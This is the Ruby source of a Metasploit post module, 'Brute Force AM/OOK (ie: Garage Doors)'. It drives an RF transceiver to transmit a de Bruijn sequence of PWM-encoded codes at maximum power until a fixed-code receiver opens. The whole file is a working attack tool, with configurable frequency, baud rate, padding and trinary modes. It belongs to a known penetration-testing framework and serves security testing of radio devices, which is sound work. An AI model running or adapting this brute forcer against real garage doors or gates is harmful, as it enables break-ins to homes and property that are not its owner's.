163 lines
5.1 KiB
Ruby
163 lines
5.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::Hardware::RFTransceiver::RFTransceiver
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Brute Force AM/OOK (ie: Garage Doors)',
|
|
'Description' => %q{
|
|
Post Module for HWBridge RFTranscievers. Brute forces AM OOK or raw
|
|
binary signals. This is a port of the rfpwnon tool by Corey Harding.
|
|
(https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py)
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['Craig Smith'],
|
|
'Platform' => ['hardware'],
|
|
'SessionTypes' => ['hwbridge']
|
|
)
|
|
)
|
|
register_options([
|
|
OptInt.new('FREQ', [true, 'Frequency to transmit on']),
|
|
OptInt.new('BAUD', [false, 'Baud rate to use', 2000]),
|
|
OptInt.new('BINLENGTH', [false, 'Binary Length of signal to brute force', 8]),
|
|
OptInt.new('REPEAT', [false, 'Number of times to repeat the signal', 5]),
|
|
OptString.new('PPAD', [false, 'Specify your own binary padding before the brute forced binary', nil]),
|
|
OptString.new('TPAD', [false, 'Specify your own binary padding after the brute forced binary', nil]),
|
|
OptBool.new('RAW', [false, 'When set, disables PWM encoding. BINLENGTH must be -1', false]),
|
|
OptBool.new('TRI', [false, 'When set, brute foces a trinary signal.', false]),
|
|
OptBool.new('EXTRAVERBOSE', [false, 'More verbose', false]),
|
|
OptInt.new('INDEX', [false, 'USB Index to use', 0]),
|
|
OptInt.new('DELAY', [false, 'Delay in milliseconds between transmissions', 500])
|
|
])
|
|
@zeropwm = '1110'
|
|
@onepwm = '1000'
|
|
@brutechar = '01'
|
|
end
|
|
|
|
# @param key [String] binary/trinary represntation
|
|
# @return [Array] ByteArray
|
|
def convert_ook(key)
|
|
pwm_str_key = ''
|
|
key.each_char do |k|
|
|
x = '*'
|
|
case k
|
|
when '0'
|
|
x = @zeropwm
|
|
when '1'
|
|
x = @onepwm
|
|
when '2'
|
|
x = @twopwm
|
|
end
|
|
pwm_str_key += x
|
|
end
|
|
return pwm_str_key.scan(/.{1,8}/).collect { |x| x.to_i(2).chr }
|
|
end
|
|
|
|
def debruijn_bytes(k, n)
|
|
@a = [0]
|
|
@sequence = []
|
|
debruijn(1, 1, k, n)
|
|
return @sequence.join
|
|
end
|
|
|
|
def debruijn(t, p, k, n)
|
|
if t > n
|
|
if n % p == 0
|
|
1.upto(p) { |j| @sequence << @a[j] }
|
|
end
|
|
else
|
|
@a[t] = @a[t - p]
|
|
debruijn(t + 1, p, k, n)
|
|
(@a[t - p] + 1).upto(k - 1) do |j|
|
|
@a[t] = j
|
|
debruijn(t + 1, t, k, n)
|
|
end
|
|
end
|
|
end
|
|
|
|
def run
|
|
unless is_rf?
|
|
print_error('Not an RF Transceiver')
|
|
return
|
|
end
|
|
unless set_index(datastore['INDEX'])
|
|
print_error("Couldn't set usb index to #{datastore['INDEX']}")
|
|
return
|
|
end
|
|
if datastore['TRI']
|
|
@zeropwm = '10001000'
|
|
@onepwm = '11101110'
|
|
@twopwm = '10001110'
|
|
@brutechar = '012'
|
|
end
|
|
|
|
set_modulation('ASK/OOK')
|
|
set_freq(datastore['FREQ'])
|
|
set_sync_mode(0)
|
|
set_baud(datastore['BAUD'])
|
|
max_power
|
|
|
|
print_status('Generating de bruijn sequence...')
|
|
seq = debruijn_bytes(@brutechar.length, datastore['BINLENGTH'])
|
|
tail = seq[0, datastore['BINLENGTH'] - 1]
|
|
brutepacket = seq + tail
|
|
|
|
print_status("Brute forcing frequency: #{datastore['FREQ']}")
|
|
print_status("Padding before binary: #{datastore['PPAD']}") if datastore['PPAD']
|
|
print_status("Padding after binary: #{datastore['TPAD']}") if datastore['TPAD']
|
|
print_status("De Bruijin Sequence: #{brutepacket}") if datastore['EXTRAVERBOSE']
|
|
|
|
startn = 0
|
|
endy = 512
|
|
brutepackettmp = ''
|
|
addr = 512
|
|
if datastore['TRI']
|
|
endy = 128
|
|
addr = 128
|
|
end
|
|
if datastore['REPEAT'] >= 2 || datastore['PPAD'] || datastore['TPAD']
|
|
endy = datastore['BINLENGTH']
|
|
addr = 1
|
|
end
|
|
# Transmit
|
|
while startn < brutepacket.length
|
|
(0..datastore['REPEAT'] - 1).each do |_i|
|
|
brutepackettemp = brutepacket[startn..endy - 1]
|
|
next if brutepackettemp.length < datastore['BINLENGTH']
|
|
|
|
# Pad if asked to
|
|
brutepackettemp = datastore['PPAD'] + brutepackettemp if datastore['PPAD']
|
|
brutepackettemp += datastore['TPAD'] if datastore['TPAD']
|
|
if datastore['RAW']
|
|
key_packed = brutepackettemp.scan(/.{1,8}/).collect { |x| x.to_i(2).chr }
|
|
else
|
|
key_packed = convert_ook(brutepackettemp)
|
|
end
|
|
print_status('Transmitting...')
|
|
set_flen(key_packed.length)
|
|
rfxmit(key_packed.join)
|
|
print_status('Binary before PWM encoding:')
|
|
print_status(brutepackettemp.to_s)
|
|
print_status('Binary after PWM encoding:')
|
|
print_status(key_packed.join.unpack('H*')[0].hex.to_s(2).to_s)
|
|
sleep(datastore['DELAY'] / 1000) if datastore['DELAY'] > 0
|
|
end
|
|
if (datastore['REPEAT'] >= 2) || datastore['PPAD'] || datastore['TPAD']
|
|
startn += addr
|
|
endy += addr
|
|
else
|
|
startn = startn + addr - datastore['BINLENGTH']
|
|
endy = endy + addr - datastore['BINLENGTH']
|
|
end
|
|
end
|
|
print_status('Done')
|
|
set_mode('IDLE')
|
|
end
|
|
end
|